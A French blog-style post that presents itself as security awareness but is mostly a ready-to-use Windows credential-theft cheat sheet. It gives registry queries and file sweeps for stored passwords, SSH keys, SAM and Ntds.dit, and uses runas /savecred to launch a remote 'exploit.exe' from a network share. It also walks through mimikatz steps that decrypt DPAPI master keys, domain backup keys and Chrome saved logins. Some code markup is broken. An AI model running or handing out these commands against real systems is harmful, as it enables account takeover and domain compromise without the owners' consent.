Il est important de savoir ce qu’un attaquant pourrait retrouver sur votre poste de travail advenant le cas d’un intrusion réussi. Les mots de passe sont la plupart du temps encryptés, mais si ceux-ci sont trop courts, facilement devinables ou basés sur un mot de passe d’un dictionnaire, un attaquant saura en tirer partie. Un mot de passe peut permettre d’accéder à d’autres services et obtenir davantage d’informations sur votre entreprise. Voici quelques scripts pour vous donner une idée de ce qu’une personne malveillante retrouvera sur votre ordinateur.
ECHO.Recherche dans des clés de registre spécifiques pour retrouver des identifiants de connectins
reg query HKCU\Software\ORL\WinVNC3\Password 2>nul
ECHO.Recherche pour des identifiants VNC
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password 2>nul
ECHO.Identifiants de connexion sur un domaine en cache
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
ECHO.Identifiants SNMP
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s 2>nul
ECHO.Identifiants pour le logiciel TightVNC
reg query HKCU\Software\TightVNC\Server 2>nul
ECHO.Identiants du logiciel Putty enregistrés
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s 2>nul
ECHO.Clés SSH
reg query HKCU\Software\OpenSSH\Agent\Keys /s 2>nul
ECHO.Recherche de fichiers avec une partie du nom s'appelant password ou credential
cd %USERPROFILE% 2>nul && dir /s/b *password* == *credential* 2>nul
ECHO.Recherche des fichiers de divers logiciels contenant des informations de connexion (git, sudo, sqlite,KeePass, VNC, Elasticsearch, GPG, Docker, ssh)
cd ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..
dir /s/b /A:-D RDCMan.settings == *.rdg == SCClient.exe == *_history == .sudo_as_admin_successful == .profile == *bashrc == httpd.conf == *.plan == .htpasswd == .git-credentials == *.rhosts == hosts.equiv == Dockerfile == docker-compose.yml == appcmd.exe == TypedURLs == TypedURLsTime == History == Bookmarks == Cookies == "Login Data" == places.sqlite == key3.db == key4.db == credentials == credentials.db == access_tokens.db == accessTokens.json == legacy_credentials == azureProfile.json == unattend.txt == access.log == error.log == *.gpg == *.pgp == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12 == *.der == *.csr == *.cer == known_hosts == id_rsa == id_dsa == *.ovpn == anaconda-ks.cfg == hostapd.conf == rsyncd.conf == cesi.conf == supervisord.conf == tomcat-users.xml == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == unattend.xml == unattended.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == groups.xml == services.xml == scheduledtasks.xml == printers.xml == drives.xml == datasources.xml == php.ini == https.conf == https-xampp.conf == httpd.conf == my.ini == my.cnf == access.log == error.log == server.xml == SiteList.xml == ConsoleHost_history.txt == setupinfo == setupinfo.bak 2>nul | findstr /v ".dll"
cd inetpub 2>nul && (dir /s/b web.config == *.log & cd ..)
ECHO.
Et pour une analyse approfondie, vous pouvez faire la recherche dans le contenu des fichiers et dans le nom des clés de registre du mot password ou pwd
reg query HKLM /f passw /t REG_SZ /s
reg query HKCU /f passw /t REG_SZ /s
reg query HKLM /f pwd /t REG_SZ /s
reg query HKCU /f pwd /t REG_SZ /s
@ECHO OFF & SETLOCAL EnableDelayedExpansion
rem for /f %%x in ('wmic logicaldisk get name^| more') do ( ----- Pour une recherche dans tous les lecteurs
for /f %%x in ("C:") do (
set tdrive=%%x
if "!tdrive:~1,2!" == ":" (
%%x
REM Recherche du mot password dans les fichiers ayant les extensons .xml, .ini, .txt, .cfg et .config
findstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i "\\AppData\\Local \\WinSxS ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.Cloud \\Notepad\+\+\\ vmware cortana alphabet \\7-zip\\" 2>nul
ECHO.
REM Fichiers dont le nom contient le mot pass, cred ou .config pas dans le répertoire \Windows
dir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i "\\windows\\"
ECHO.
)
)</code
Gestionnaire de mots de passe (Permet aux usagers de se connecter immédiatement). Liste d'identifiants enregistrés
<code>
cmdkey /list
runas /savecred /user:WORKGROUP\Administrator "\\10.10.10.10\partage\exploit.exe" #savedcred utilise l'information de connection
Parfois l’information enregistré est encrypté avec DPAPI. DPAPI permet d’encoder une clé asymétrique (RSA souvent) en utilisant une clé symétrique. Les clés symétriques sont enregistrés dans le répertoire %APPDATA%\Microsoft\Protect\{SID}. SID est l’idenfiant de sécurité de l’usager (64 octets aléatoires). La clé DPAPI est enregistré dans le même fichier que la clé maître qui protège les clés privés de l’utilisateur. C’est impossible de lister ce répertoire. Vous devez utiliser powershell
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
Il faut utiliser le module mimikatz dpapi::masterkey pour décrypter la clé. Si vous connaissez le mot de passe de l’utilisateur à qui la clé maître appartient, vous pouvez accéder au fichier de la clé maître, vous pouvez obtenir la clé maître. Vous verrez la clé extraite : key.
dpapi::masterkey /in:"C:\Users\spotless.OFFENSE\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /sid:S-1-5-21-2552734371-813931464-1050690807-1106 /password:123456 /protected
Les fichiers protégés par le mot de passe maître sont localisés dans
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
DPAPI protège les mots de passe et les données pour les fonctionnalités qui permetteent le remplissage automatique des champs dans Google et Internet Explorer, les mots de passe de Outlook et Windows Mail, les mots de passe des partages, les clés de réseau sans-fil, les clés de Windows Cardpace et Windows vault, les mots de passe de RDP, SSL/TLS dans IIS et beaucoup d’autres.
Vous pouvez utiliser mimikatz dpapi::cred avec la clé /masterkey pour la décryption. Vous pouvez aussi extraire plusieurs clés maîtres DPAPI de la mémoire avec sekurlsa::dpapi (administrateur seulement)
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
Extraire tous les clés maîtres backup du domaine
lsadump::backupkeys /system:dc01.searchevolution.local /export #besoin privilège de l'administrateur du domaine.
dpapi::masterkey /in:"C:\Users\germain.TEST\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk
dpapi::chrome /in:"c:\users\spotless.offense\appdata\local\Google\Chrome\User Data\Default\Login Data" /masterkey:ffff13e344527c0ec4e016f419fe7457f2deaad500f68baf48b19eb0b8bc265a0669d6db2bddec7a557ee1d92bcb2f43fbf05c7aa87c7902453d5293d99adddd #décryption des données de connexion encrypté de chrome de l'utilisateur avec la clé obtenu de la commande précédente "key"